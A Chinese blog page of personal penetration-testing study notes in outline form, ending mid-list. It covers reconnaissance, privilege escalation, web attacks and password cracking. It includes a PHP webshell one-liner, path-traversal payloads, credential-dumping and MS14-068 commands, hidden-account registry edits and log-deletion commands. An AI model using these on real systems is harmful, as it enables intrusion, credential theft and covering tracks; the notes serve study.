<!DOCTYPE HTML>
<html lang="zh-CN">


<head>
    <meta charset="utf-8">
    <meta name="keywords" content="视频里面我到底学了个啥，总结看看, YeOrLuOp">
    <meta name="description" content="">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <meta name="renderer" content="webkit|ie-stand|ie-comp">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="format-detection" content="telephone=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <!-- Global site tag (gtag.js) - Google Analytics -->


    <title>视频里面我到底学了个啥，总结看看 | YeOrLuOp</title>
    <link rel="icon" type="image/png" href="/favicon.png">

    <link rel="stylesheet" type="text/css" href="/libs/awesome/css/all.css">
    <link rel="stylesheet" type="text/css" href="/libs/materialize/materialize.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/aos/aos.css">
    <link rel="stylesheet" type="text/css" href="/libs/animate/animate.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/lightGallery/css/lightgallery.min.css">
    <link rel="stylesheet" type="text/css" href="/css/matery.css">
    <link rel="stylesheet" type="text/css" href="/css/my.css">

    <script src="/libs/jquery/jquery.min.js"></script>

<meta name="generator" content="Hexo 4.2.0"><link rel="stylesheet" href="/css/prism-tomorrow.css" type="text/css"></head>




<body>
    <header class="navbar-fixed">
    <nav id="headNav" class="bg-color nav-transparent">
        <div id="navContainer" class="nav-wrapper container">
            <div class="brand-logo">
                <a href="/" class="waves-effect waves-light">
                    
                    <img src="/medias/logo.png" class="logo-img" alt="LOGO">
                    
                    <span class="logo-span">YeOrLuOp</span>
                </a>
            </div>
            

<a href="#" data-target="mobile-nav" class="sidenav-trigger button-collapse"><i class="fas fa-bars"></i></a>
<ul class="right nav-menu">
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/" class="waves-effect waves-light">
      
      <i class="fas fa-home" style="zoom: 0.6;"></i>
      
      <span>首页</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/tags" class="waves-effect waves-light">
      
      <i class="fas fa-tags" style="zoom: 0.6;"></i>
      
      <span>标签</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/categories" class="waves-effect waves-light">
      
      <i class="fas fa-bookmark" style="zoom: 0.6;"></i>
      
      <span>分类</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/archives" class="waves-effect waves-light">
      
      <i class="fas fa-archive" style="zoom: 0.6;"></i>
      
      <span>归档</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/about" class="waves-effect waves-light">
      
      <i class="fas fa-user-circle" style="zoom: 0.6;"></i>
      
      <span>关于</span>
    </a>
    
  </li>
  
  <li>
    <a href="#searchModal" class="modal-trigger waves-effect waves-light">
      <i id="searchIcon" class="fas fa-search" title="搜索" style="zoom: 0.85;"></i>
    </a>
  </li>
</ul>


<div id="mobile-nav" class="side-nav sidenav">

    <div class="mobile-head bg-color">
        
        <img src="/medias/logo.png" class="logo-img circle responsive-img">
        
        <div class="logo-name">YeOrLuOp</div>
        <div class="logo-desc">
            
            Never really desperate, only the lost of the soul.
            
        </div>
    </div>

    

    <ul class="menu-list mobile-menu-list">
        
        <li class="m-nav-item">
	  
		<a href="/" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-home"></i>
			
			首页
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/tags" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-tags"></i>
			
			标签
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/categories" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-bookmark"></i>
			
			分类
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/archives" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-archive"></i>
			
			归档
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/about" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-user-circle"></i>
			
			关于
		</a>
          
        </li>
        
        
    </ul>
</div>


        </div>

        
    </nav>

</header>

    



<div class="bg-cover pd-header post-cover" style="background-image: url('/medias/featureimages/4.jpg')">
    <div class="container" style="right: 0px;left: 0px;">
        <div class="row">
            <div class="col s12 m12 l12">
                <div class="brand">
                    <h1 class="description center-align post-title">视频里面我到底学了个啥，总结看看</h1>
                </div>
            </div>
        </div>
    </div>
</div>




<main class="post-container content">

    
    <link rel="stylesheet" href="/libs/tocbot/tocbot.css">
<style>
    #articleContent h1::before,
    #articleContent h2::before,
    #articleContent h3::before,
    #articleContent h4::before,
    #articleContent h5::before,
    #articleContent h6::before {
        display: block;
        content: " ";
        height: 100px;
        margin-top: -100px;
        visibility: hidden;
    }

    #articleContent :focus {
        outline: none;
    }

    .toc-fixed {
        position: fixed;
        top: 64px;
    }

    .toc-widget {
        width: 345px;
        padding-left: 20px;
    }

    .toc-widget .toc-title {
        margin: 35px 0 15px 0;
        padding-left: 17px;
        font-size: 1.5rem;
        font-weight: bold;
        line-height: 1.5rem;
    }

    .toc-widget ol {
        padding: 0;
        list-style: none;
    }

    #toc-content {
        height: calc(100vh - 250px);
        overflow: auto;
    }

    #toc-content ol {
        padding-left: 10px;
    }

    #toc-content ol li {
        padding-left: 10px;
    }

    #toc-content .toc-link:hover {
        color: #42b983;
        font-weight: 700;
        text-decoration: underline;
    }

    #toc-content .toc-link::before {
        background-color: transparent;
        max-height: 25px;

        position: absolute;
        right: 23.5vw;
        display: block;
    }

    #toc-content .is-active-link {
        color: #42b983;
    }

    #floating-toc-btn {
        position: fixed;
        right: 15px;
        bottom: 76px;
        padding-top: 15px;
        margin-bottom: 0;
        z-index: 998;
    }

    #floating-toc-btn .btn-floating {
        width: 48px;
        height: 48px;
    }

    #floating-toc-btn .btn-floating i {
        line-height: 48px;
        font-size: 1.4rem;
    }
</style>
<div class="row">
    <div id="main-content" class="col s12 m12 l9">
        <!-- 文章内容详情 -->
<div id="artDetail">
    <div class="card">
        <div class="card-content article-info">
            <div class="row tag-cate">
                <div class="col s7">
                    
                    <div class="article-tag">
                        
                            <a href="/tags/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/">
                                <span class="chip bg-color">学习笔记</span>
                            </a>
                        
                            <a href="/tags/%E6%97%B6%E9%97%B4%E9%83%BD%E5%8E%BB%E5%93%AA%E4%BA%86/">
                                <span class="chip bg-color">时间都去哪了</span>
                            </a>
                        
                    </div>
                    
                </div>
                <div class="col s5 right-align">
                    
                    <div class="post-cate">
                        <i class="fas fa-bookmark fa-fw icon-category"></i>
                        
                            <a href="/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/" class="post-category">
                                网络安全
                            </a>
                        
                    </div>
                    
                </div>
            </div>

            <div class="post-info">
                
                <div class="post-date info-break-policy">
                    <i class="far fa-calendar-minus fa-fw"></i>发布日期:&nbsp;&nbsp;
                    2020-10-29
                </div>
                

                
                <div class="post-date info-break-policy">
                    <i class="far fa-calendar-check fa-fw"></i>更新日期:&nbsp;&nbsp;
                    2020-11-08
                </div>
                

                
                <div class="info-break-policy">
                    <i class="far fa-file-word fa-fw"></i>文章字数:&nbsp;&nbsp;
                    5.3k
                </div>
                

                
                <div class="info-break-policy">
                    <i class="far fa-clock fa-fw"></i>阅读时长:&nbsp;&nbsp;
                    23 分
                </div>
                

                
            </div>
        </div>
        <hr class="clearfix">
        <div class="card-content article-card-content">
            <div id="articleContent">
                <h1 id="sqlmap（详见SQLmap）"><a href="#sqlmap（详见SQLmap）" class="headerlink" title="sqlmap（详见SQLmap）"></a>sqlmap（详见SQLmap）</h1><h1 id="xss（详见xss）"><a href="#xss（详见xss）" class="headerlink" title="xss（详见xss）"></a>xss（详见xss）</h1><h1 id="SQL注入（详见SQL注入）"><a href="#SQL注入（详见SQL注入）" class="headerlink" title="SQL注入（详见SQL注入）"></a>SQL注入（详见SQL注入）</h1><h1 id="burpsuite（详见burpsuite）"><a href="#burpsuite（详见burpsuite）" class="headerlink" title="burpsuite（详见burpsuite）"></a>burpsuite（详见burpsuite）</h1><h1 id="crsf"><a href="#crsf" class="headerlink" title="crsf"></a>crsf</h1><h1 id="翻墙-amp-代理"><a href="#翻墙-amp-代理" class="headerlink" title="翻墙&amp;代理"></a>翻墙&amp;代理</h1><h1 id="wireshark"><a href="#wireshark" class="headerlink" title="wireshark"></a>wireshark</h1><h1 id="NETCAT"><a href="#NETCAT" class="headerlink" title="NETCAT"></a>NETCAT</h1><h1 id="TCPDUMP"><a href="#TCPDUMP" class="headerlink" title="TCPDUMP"></a>TCPDUMP</h1><h1 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h1><h2 id="DNS信息收集——NSLOOKUP"><a href="#DNS信息收集——NSLOOKUP" class="headerlink" title="DNS信息收集——NSLOOKUP"></a>DNS信息收集——NSLOOKUP</h2><h2 id="DNS信息收集——DIG"><a href="#DNS信息收集——DIG" class="headerlink" title="DNS信息收集——DIG"></a>DNS信息收集——DIG</h2><h2 id="DNS区域传输"><a href="#DNS区域传输" class="headerlink" title="DNS区域传输"></a>DNS区域传输</h2><h2 id="DNS字典爆破"><a href="#DNS字典爆破" class="headerlink" title="DNS字典爆破"></a>DNS字典爆破</h2><h2 id="DNS注册信息"><a href="#DNS注册信息" class="headerlink" title="DNS注册信息"></a>DNS注册信息</h2><h2 id="搜索引擎"><a href="#搜索引擎" class="headerlink" title="搜索引擎"></a>搜索引擎</h2><h2 id="SHODAN"><a href="#SHODAN" class="headerlink" title="SHODAN"></a>SHODAN</h2><h2 id="RECON-NG"><a href="#RECON-NG" class="headerlink" title="RECON-NG"></a>RECON-NG</h2><h1 id="主动信息收集"><a href="#主动信息收集" class="headerlink" title="主动信息收集"></a>主动信息收集</h1><ol>
<li>发现</li>
<li>发现——二层发现</li>
<li>发现——三层发现</li>
<li>发现——四层发现</li>
<li>端口扫描</li>
<li>隐蔽端口扫描</li>
<li>全连接端口扫描</li>
<li>僵尸扫描</li>
<li>服务扫描<ol>
<li>服务扫描——banner</li>
<li>服务扫描——服务识别</li>
</ol>
</li>
<li>操作系统识别</li>
<li>SNMP扫描</li>
<li>SMB扫描</li>
<li>防火墙识别</li>
<li>负载均衡识别</li>
<li>WAF识别</li>
<li>NMAP</li>
</ol>
<h1 id="漏洞扫描"><a href="#漏洞扫描" class="headerlink" title="漏洞扫描"></a>漏洞扫描</h1><ol>
<li>CVSS</li>
<li>CVE</li>
<li>Vulnerability Reference</li>
<li>OVAL</li>
<li>CCE</li>
<li>CPE</li>
<li>CWE</li>
<li>Security Content Automation Protocol（SCAP）<ol>
<li>主要解决三个问题</li>
<li>SCAP是当前美国比较成熟的一套信息安全评估标准体系，其标准化、自动化的思想对信息安<br>全行业产生了深远的影响。</li>
</ol>
</li>
<li>NVD<ol>
<li><a href="https://nvd.nist.gov/" target="_blank" rel="noopener">https://nvd.nist.gov/</a></li>
<li><ol>
<li>美国政府的漏洞管理标准数据</li>
<li>完全基于SCAP框架</li>
<li>实现自动化漏洞管理、安全测量、合规要求</li>
<li>包含以下库安<ol>
<li>全检查列表</li>
<li>软件安全漏洞</li>
<li>配置错误</li>
<li>产品名称</li>
<li>影响度量</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li>nmap</li>
<li>openvas</li>
<li>Nessus</li>
</ol>
<h1 id="缓冲区溢出（windows和linux）"><a href="#缓冲区溢出（windows和linux）" class="headerlink" title="缓冲区溢出（windows和linux）"></a>缓冲区溢出（windows和linux）</h1><ol>
<li>如何发现漏洞<ol>
<li>源码审计</li>
<li>逆向工程</li>
<li>模糊测试</li>
<li>向程序堆栈半随机的数据，根据内存变化判断溢出</li>
<li>数据生成器：生成随机、半随机数据</li>
<li>测试工具：识别溢出漏洞</li>
</ol>
</li>
<li>FUZZER<ol>
<li>2700个字符实现EIP 寄存器溢出</li>
<li>找到精确溢出的4 个字节<ol>
<li>二分法</li>
<li>唯一字串法</li>
</ol>
</li>
</ol>
</li>
<li>POP3<ol>
<li>110端口</li>
</ol>
</li>
<li>选择修改EXP<ol>
<li>Exploit-db</li>
<li>SecurityFocus</li>
<li>Searchsploit</li>
</ol>
</li>
<li>漏洞利用<ol>
<li>上传工具</li>
<li>提权</li>
<li>擦除攻击痕迹</li>
<li>安装后门<ol>
<li>长期控制</li>
<li>Dump 密码</li>
<li>内网渗透</li>
</ol>
</li>
<li>后漏洞利用阶段<ol>
<li>最大的挑战 ——防病毒软件</li>
<li>使用合法的远程控制软件</li>
</ol>
</li>
<li>上传文件</li>
<li>linux系统<ol>
<li>netcat</li>
<li>curl</li>
<li>wget</li>
</ol>
</li>
<li>非交互模式shell</li>
<li>传输文件<ol>
<li>TFTP</li>
<li>FTP</li>
<li>VBScript</li>
<li>debug</li>
</ol>
</li>
</ol>
</li>
</ol>
<h1 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h1><ol>
<li><p>本地提权</p>
<ol>
<li>已实现本地低权限账号登录<ol>
<li>溢出</li>
<li>直接获得账号密码</li>
</ol>
</li>
<li>获得更高权限</li>
<li>系统账号间权限隔离<ol>
<li>用户空间</li>
<li>内核空间</li>
</ol>
</li>
<li>系统账号<ol>
<li>用户账号登陆时获取权限令牌</li>
<li>服务账号无需用户登陆已在后台启动服务</li>
</ol>
</li>
<li>windows<ol>
<li>user</li>
<li>administrator</li>
<li>system<ol>
<li>admin提权为system</li>
<li>Windows system账号<ol>
<li>系统设置管理功能</li>
<li>SysInternal Suite<ol>
<li><a href="https://technet.microsoft.com/en-us/sysinternals/bb545027" target="_blank" rel="noopener">https://technet.microsoft.com/en-us/sysinternals/bb545027</a></li>
<li>psexec -i -s -d taskmgr</li>
</ol>
</li>
<li>at 19:39 /interactive cmd</li>
<li>sc Create syscmd binPath= “cmd /K start” type= own type= interact</li>
<li>sc start syscmd</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li>Linux<ol>
<li>user</li>
<li>root</li>
</ol>
</li>
</ol>
</li>
<li><p>注入进程提权</p>
</li>
<li><p>抓包嗅探</p>
</li>
<li><p>键盘记录</p>
<ol>
<li>Keylogger</li>
<li>木马窃取</li>
</ol>
</li>
<li><p>本地缓存密码</p>
</li>
<li><p>windows身份认证过程</p>
<p><img src="C:%5CUsers%5CRESCUER%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20201029193154591.png" alt=""></p>
</li>
<li><p>WCE(WINDOWS CREDENTIAL EDITOR)</p>
<ol>
<li>/usr/share/wce/</li>
<li>需要管理员权限</li>
<li>wce-universal.exe -l / -lv</li>
<li>wce-universal.exe -d</li>
<li>wce-universal.exe -e / -r</li>
<li>wce-universal.exe -g</li>
<li>wce-universal.exe -w</li>
<li>LM/NT hash</li>
<li>从内存读取LM / NTLM hash</li>
<li>Digest Authentication Package</li>
<li>NTLM Security Package</li>
<li>Kerberos Security Package</li>
<li>防止WCE攻击</li>
<li>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</li>
<li>kerberos<br>msv1_0<br>schannel<br>wdigest<br>tspkg<br>pku2u</li>
</ol>
</li>
<li><p>利用漏洞提权</p>
<ol>
<li>Ms14-068</li>
<li>库<br><a href="https://github.com/bidord/pykek" target="_blank" rel="noopener">https://github.com/bidord/pykek</a></li>
<li>ms14-068.py -u <a href="mailto:user@lab.com">user@lab.com</a> -s userSID -d dc.lab.co</li>
<li>拷贝 <a href="mailto:TGT_user1@lab.com.ccache">TGT_user1@lab.com.ccache</a> 到windows系统</li>
<li>本地管理员登陆<br> mimikatz.exe log “kerberos::ptc <a href="mailto:TGT_user@lab.com.ccache">TGT_user@lab.com.ccache</a>“ exit</li>
<li>Ubuntu11.10<br> <a href="http://old-releases.ubuntu.com/releases/11.10/" target="_blank" rel="noopener">http://old-releases.ubuntu.com/releases/11.10/</a></li>
<li>gcc<br>sudo apt-cdrom add &amp;&amp; sudo apt-get install gcc<br>gcc 18411.c -o exp</li>
<li>CVE-2012-0056<br>• /proc/pid/mem<br>• kernels &gt;=2.6.39<br>• <a href="http://blog.zx2c4.com/749" target="_blank" rel="noopener">http://blog.zx2c4.com/749</a></li>
</ol>
</li>
<li><p>利用配置不当提权</p>
<ol>
<li>与漏洞提权相比 更常用的方    <ol>
<li>企业环境</li>
<li>补丁更新的全部已经安装</li>
<li>输入变量过滤之外更值得研发关注的安全隐患</li>
<li>以system权限启动</li>
<li>NTFS权限允许users修改删除</li>
</ol>
</li>
<li>icacls<ol>
<li>icacls c:\windows*.exe /save perm /T</li>
<li>i586-mingw32msvc-gcc -o admin.exe admin.c</li>
</ol>
</li>
<li>Find<ol>
<li>find / -perm 777 -exec ls -l {} ;</li>
</ol>
</li>
<li>应用系统的配置文件<ol>
<li>应用连接数据库的配置文件</li>
</ol>
</li>
</ol>
</li>
<li><p>基本信息搜集</p>
<ol>
<li>Linux<ol>
<li>/etc/resolv.conf</li>
<li>/etc/passwd</li>
<li>/etc/shadow</li>
<li>whoami and who –a</li>
<li>ifconfig -a, iptables -L -n, ifconfig –a, netstat –r</li>
<li>uname –a, ps aux</li>
<li>dpkg -l| head</li>
</ol>
</li>
<li>Windows<ol>
<li>ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r</li>
<li>net view , net view /domain</li>
<li>net user /domain, net user %username% /domain</li>
<li>net accounts, net share</li>
<li>net localgroup administrators username /add</li>
<li>net group “Domain Controllers” /domain</li>
<li>net share name$=C:\ /unlimited</li>
<li>net user username /active:yes /domain</li>
</ol>
</li>
<li>WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)<ol>
<li>wmic nicconfig get ipaddress,macaddress</li>
<li>wmic computersystemget username</li>
<li>wmic netlogin get name,lastlogon</li>
<li>wmic process get caption, executablepath,commandline</li>
<li>wmic process where name=“calc.exe” call terminate</li>
<li>wmic os get name,servicepackmajorversion</li>
<li>wmic product get name,version</li>
<li>wmic product where name=“name” call uninstall /nointeractive</li>
<li>wmic share get /ALL</li>
<li>wmic /node:”machinename” path Win32_TerminalServiceSetting where<br>AllowTSConnections=”0” call SetAllowTSConnections”1“</li>
<li>wmic nteventlogget path,filename, writeable</li>
</ol>
</li>
<li>收集敏感数据<ol>
<li>商业信息</li>
<li>系统信息</li>
<li>Linux<ol>
<li>/etc ；/usr/local/etc</li>
<li>/etc/password ；/etc/shadow</li>
<li>.ssh ；.gnupg 公私钥</li>
<li>The e-mail and data files</li>
<li>业务数据库 ；身份认证服务器数据库</li>
<li>/tmp</li>
</ol>
</li>
<li>windows<ol>
<li>SAM 数据库 ； 注册表文件</li>
<li>%SYSTEMROOT%\repair\SAM</li>
<li>%SYSTEMROOT%\System32\config\RegBack\SAM</li>
<li>业务数据库 ； 身份认证数据库</li>
<li>临时文件目录</li>
<li>UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li><p>隐藏痕迹</p>
<ol>
<li>禁止在登陆界面显示新建账号</li>
<li>REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows<br>NT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v uname /T<br>REG_DWORD /D 0</li>
<li>del %WINDIR%*.log /a/s/q/f</li>
<li>History</li>
<li>日志<ol>
<li>auth.log / secure</li>
<li>btmp / wtmp</li>
<li>lastlog / faillog</li>
</ol>
</li>
<li>其他日志和 HIDS 等</li>
</ol>
</li>
</ol>
<h1 id="无线渗透"><a href="#无线渗透" class="headerlink" title="无线渗透"></a>无线渗透</h1><p>太多了还看完</p>
<h1 id="web渗透"><a href="#web渗透" class="headerlink" title="web渗透"></a>web渗透</h1><ol>
<li><p>静态WEB</p>
</li>
<li><p>动态WEB</p>
<ol>
<li>应用程序</li>
<li>数据库</li>
<li>每个人看到的内容不同</li>
<li>根据用户输入返回不同结果</li>
</ol>
</li>
<li><p>WEB攻击面</p>
<ol>
<li>Network</li>
<li>OS</li>
<li>WEB Server </li>
<li>App server </li>
<li>Web Application </li>
<li>Database </li>
<li>Browser</li>
</ol>
</li>
<li><p>HTTP协议</p>
<ol>
<li>明文</li>
<li>无状态</li>
<li>cycle</li>
<li>重要的header</li>
<li>状态码（5大类型）<ol>
<li>100</li>
<li>200</li>
<li>300</li>
<li>400<ol>
<li>401</li>
<li>403</li>
<li>404</li>
</ol>
</li>
<li>500</li>
</ol>
</li>
</ol>
</li>
<li><p>扫描工具</p>
<ol>
<li>Nikto</li>
<li>Vega </li>
<li>Skipfish</li>
<li>W3af <ol>
<li>安装（详见虚拟机）</li>
<li>常用命令<ol>
<li>help 显示可用指令</li>
<li>plugin 进入plugin子命令<ol>
<li>Help</li>
<li>list audi列出所有插件</li>
<li>audit sqli xss 选择可用插件</li>
</ol>
</li>
<li>http-settings / misc-settings 全局配置<ol>
<li>help</li>
<li>view 查看可配置参数</li>
<li>set 设置参数1</li>
<li>back 回到上一级命令</li>
</ol>
</li>
</ol>
</li>
<li>profiles<ol>
<li>save_as self-contained</li>
<li>save_as test self-contained</li>
</ol>
</li>
<li>target<ol>
<li>set target <a href="http://1.1.1.1/" target="_blank" rel="noopener">http://1.1.1.1/</a></li>
</ol>
</li>
<li>start</li>
<li>script<ol>
<li>script/*.w3af</li>
</ol>
</li>
<li>身份认证<ol>
<li>HTTP Basic</li>
<li>NTLM</li>
<li>Form</li>
<li>Cookie 双身份认证/anti-CSRF tokens</li>
<li>截断代理<ol>
<li>W3af不支持Javascr（客户端技术ipt, Flash, Java applet 等）</li>
<li>代理阶段手动爬网<ol>
<li>spider_man</li>
<li>output.export_requests</li>
<li><a href="http://127.7.7.7/spider_man?terminate" target="_blank" rel="noopener">http://127.7.7.7/spider_man?terminate</a> 终止spider_man</li>
<li>crawl.import_results<ol>
<li>base64</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li>HTTPheader file</li>
</ol>
</li>
</ol>
</li>
<li>Arachni</li>
<li>Owasp-zap<ol>
<li>标准扫描工作流程<ol>
<li>设置代理</li>
<li>手动怕忘</li>
<li>自动爬网</li>
<li>主动扫描</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li><p>burpsuite（详见burp）</p>
</li>
<li><p>手动漏洞挖掘</p>
</li>
<li><p>身份认证</p>
<ol>
<li><p>常用弱口令/基于字典的密码爆破</p>
</li>
<li><p>锁定账号</p>
</li>
<li><p>信息收集</p>
<ol>
<li>手机号</li>
<li>密码错误提示信息</li>
</ol>
</li>
<li><p>密码嗅探</p>
</li>
<li><p>会话sessionID</p>
<ol>
<li>Xss / cookie importer</li>
<li>SessionID in URL</li>
<li>嗅探</li>
<li>SessionID 长期不变/永久不变</li>
<li>SessionID 生成算法<ol>
<li>Sequencer </li>
<li>私有算法</li>
<li>预判下一次登录时生成的sessionID</li>
<li>登出后返回测试</li>
</ol>
</li>
<li>密码找回</li>
<li>漏洞挖掘原则<ol>
<li>所以变量</li>
<li>所有头<ol>
<li>cookie中的变量</li>
<li>逐个变量删除</li>
</ol>
</li>
</ol>
</li>
<li>测试方法<ol>
<li>?file=../../../../etc/passwd</li>
<li>?page=file:///etc/passwd</li>
<li>?home=main.cgi </li>
<li>?page=<a href="http://www.a.com/1.php" target="_blank" rel="noopener">http://www.a.com/1.php</a></li>
<li><a href="http://1.1.1.1/../../../../dir/file.txt" target="_blank" rel="noopener">http://1.1.1.1/../../../../dir/file.txt</a></li>
</ol>
</li>
<li>编码绕过字符过滤<ol>
<li>“.” “%00” 绕过文件拓展名过滤</li>
<li>?file=a.doc%00.php</li>
<li>使用多种编码尝试</li>
</ol>
</li>
<li>编码<ol>
<li>url 编码、双层url编码<ol>
<li>%2e%2e%2f 解码：../</li>
<li>%2e%2e%5c 解码： ..\</li>
<li>%252e%252e%255c 解码： ..\</li>
</ol>
</li>
<li>Unicode/UTF-8 编码<ol>
<li>..%c0%af 解码： ../ </li>
<li>..%u2216</li>
<li>..%c1%9c 解码： ..\ </li>
</ol>
</li>
</ol>
</li>
<li>其他系统路径可能使用到的字符<ol>
<li>file.txt…<ol>
<li>file.txt<spaces> </li>
<li>file.txt”””” </li>
<li>file.txt&lt;&lt;&lt;&gt;&gt;&gt;&lt; </li>
<li>./././file.txt</li>
<li>nonexistant/../file.txt</li>
</ol>
</li>
<li>UNC 路径<ol>
<li>\1.1.1.1\path\to\file.txt</li>
</ol>
</li>
</ol>
</li>
<li>本地文件包含lfi<ol>
<li>查看文件</li>
<li>代码执行<ol>
<li><?php echo shell_exec($_GET['cmd']);?></li>
<li>Apache access.log</li>
</ol>
</li>
</ol>
</li>
<li>远程文件包含rfi<ol>
<li>出现概率少于lfi，但更容易被利用</li>
</ol>
</li>
<li>/usr/share/wfuzz/wordlist/vulns/</li>
<li>文件上传漏洞<ol>
<li><?php echo shell_exec($_GET['cmd']);?></li>
</ol>
</li>
<li>直接上传webshell</li>
<li>修改文件类型上传webshell<ol>
<li>Mimetype——文件头、拓展名</li>
</ol>
</li>
<li>修改拓展名上传webshell<ol>
<li>静态解析文件拓展名时可能无法执行</li>
</ol>
</li>
<li>文件头绕过过滤上传webshell</li>
<li>上传目录权限</li>
<li>SQL注入（详见SQL注入）</li>
<li>SQL盲注</li>
<li>SQLmap自动注入</li>
<li>xss（详见xss）</li>
<li>BEEF</li>
<li>csrf（Cross-site request forgery）——区分开xss<ol>
<li>从信任角度区分<ol>
<li>xss：利用用用户对站点的信任</li>
<li>csrf：利用站点对已有身份认证的信任</li>
</ol>
</li>
<li>结合社工在身份认证会话过程中实现攻击<ol>
<li>修改账号密码、个人信息（email、收获地址）</li>
<li>发送伪造的业务请求（网银、购物、投票）</li>
<li>关注他人社交账号、推送博文</li>
<li>在用户非自愿、不知情的情况下提交请求</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li><p>webshell（详见webshell）</p>
</li>
<li><p>https攻击</p>
<ol>
<li>攻击方法：<ol>
<li>降级攻击</li>
<li>解密攻击（明文、证书伪造）</li>
<li>协议漏洞、实现方法的漏洞、配置不严格</li>
</ol>
</li>
</ol>
</li>
<li><p>https加密过程</p>
<ol>
<li>握手、协商加密算法、传输<ol>
<li>非对称加密算法<ol>
<li>Diffie-Hellman key exchange</li>
<li>Rivest Shamir Adleman (RSA)</li>
<li>Elliptic Curve Cryptography (ECC)</li>
</ol>
</li>
<li>对称加密算法<ol>
<li>Data Encryption Standard (DES) / 3DES</li>
<li>Advance Encryption Standard (AES)</li>
<li>International Data Encryption Algorithm (IDEA)</li>
<li>Rivest Cipher 4 (RC4)<ol>
<li>WEP̵TLS/SSL̵RDP̵Secure shell</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li><p>OpenSSL</p>
</li>
<li><p>SSLyze</p>
</li>
<li><p>SSL中间人攻击</p>
<blockquote>
<p>前提客户端已经信任伪造证书办法机构</p>
<p>攻击者控制了核发证书办法机构</p>
<p>客户端程序禁止了显示整数错误告警信息</p>
<p>攻击者已经控制客户端，并强制其信任伪造证书</p>
</blockquote>
<ol>
<li><p>ARP</p>
</li>
<li><p>DHCP</p>
</li>
<li><p>修改网关</p>
</li>
<li><p>修改DNS</p>
</li>
<li><p>修改HOSTS</p>
</li>
<li><p>ICMP、STP、OSPF</p>
</li>
<li><p>加密流量</p>
</li>
</ol>
</li>
</ol>
</li>
</ol>
<h1 id="密码破解"><a href="#密码破解" class="headerlink" title="密码破解"></a>密码破解</h1><ol>
<li><p>身份认证方法</p>
<ol>
<li><p>多因素身份认证</p>
<ol>
<li><p>你知道什么(账号密码、pin、passphrase)</p>
</li>
<li><p>你有什么（令牌、token、key、证书、密码、手机）</p>
</li>
<li><p>你是谁（指纹、视网膜、虹膜、掌纹、声纹、面部识别）</p>
<blockquote>
<p>上述结合使用</p>
</blockquote>
</li>
</ol>
</li>
</ol>
</li>
<li><p>密码破解方法</p>
<ol>
<li><p>人工猜解</p>
<ol>
<li>垃圾桶工程</li>
<li>被动信息收集</li>
</ol>
</li>
<li><p>基于字典暴力破解（<strong>主流</strong>）</p>
</li>
<li><p>键盘空间字符爆破</p>
</li>
<li><p>字典</p>
<ol>
<li><p>保存有用户名和密码的文本文件</p>
</li>
<li><p>/usr/share/wordlist</p>
</li>
<li><p>/usr/share/wfuzz/wordlist</p>
</li>
<li><p>/usr/share/seclists</p>
</li>
<li><p>键盘空间字符爆破</p>
<ol>
<li>全键盘空间字符</li>
<li>部分键盘空间字符 (基于规则)</li>
<li>数字、小写字母、大写字母、符号、空格、瑞典字符、高位ASCII码</li>
</ol>
</li>
<li><p>crunch <min-len> <max-len> [<charset string>] [options]</p>
<ol>
<li><charset string> 默认是小写字符</li>
</ol>
</li>
<li><p>crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100</p>
<ol>
<li>-b 按大小分割字典文件（kb/kib、mb/mib、gb/gib）</li>
<li>-c 每个字典的行数</li>
<li>以上两个参数必须与-o START 结合使用</li>
<li>-d 同一字符连贯出现数量（11 / aaa）</li>
</ol>
</li>
<li><p>字符集</p>
<ol>
<li>crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt</li>
</ol>
</li>
<li><p>无重复字符</p>
<ol>
<li>crunch 1 1 -p 1234567890 | more</li>
<li>必须是最后一个参数</li>
<li>最大、最小字符长度失效，但必须存在</li>
<li>与-s 参数不兼容（-s 指定起始字符串）</li>
<li>crunch 4 4 0123456789 -s 9990</li>
</ol>
</li>
<li><p>读取文件中每行内容作为基本字符生成字典<br>– crunch 1 1 -q read</p>
</li>
<li><p>字典组成规则</p>
<ol>
